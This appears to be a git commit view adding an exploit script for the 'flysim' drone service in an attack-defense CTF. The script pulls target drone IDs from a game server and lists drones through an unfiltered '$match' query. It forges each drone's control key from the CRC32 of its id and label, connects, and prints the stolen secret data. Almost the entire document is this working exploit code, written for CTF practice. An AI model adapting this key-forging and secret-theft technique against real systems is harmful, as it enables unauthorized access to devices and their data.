adding validated services? patching forcad_local.py
This commit is contained in:
34
ctfcup24-school-ad/sploits/flysim/sploit_crc32.py
Executable file
34
ctfcup24-school-ad/sploits/flysim/sploit_crc32.py
Executable file
@@ -0,0 +1,34 @@
|
||||
#!/usr/bin/env python3
|
||||
|
||||
import requests
|
||||
import sys
|
||||
import drone_client
|
||||
import time
|
||||
import json
|
||||
import zlib
|
||||
|
||||
|
||||
def droneid_to_drone_obj(client, drone_id):
|
||||
det = client.get_drones_with_details(json.dumps([{"$match": {}}]))
|
||||
for d in det:
|
||||
if d["id"] == drone_id:
|
||||
return d
|
||||
return None
|
||||
|
||||
|
||||
IP = sys.argv[1]
|
||||
drone_ids = requests.get("http://10.10.10.10/api/client/attack_data/").json()["flysim"][
|
||||
IP
|
||||
]
|
||||
for drone_id in drone_ids[::-1]:
|
||||
client = drone_client.DroneClient(ip=IP)
|
||||
drone_obj = droneid_to_drone_obj(client, drone_id)
|
||||
client.drone_id = drone_id
|
||||
cont_key = hex(zlib.crc32((drone_id + drone_obj["label"]).encode()))[
|
||||
2:
|
||||
] # generate 'not so random' control_key
|
||||
client.control_key = cont_key
|
||||
client.connect_to_drone()
|
||||
|
||||
drone_obj_with_secret = client.wait_for_data_msg(timeout=30)
|
||||
print(drone_obj_with_secret["secret_data"], flush=True)
|
||||
Reference in New Issue
Block a user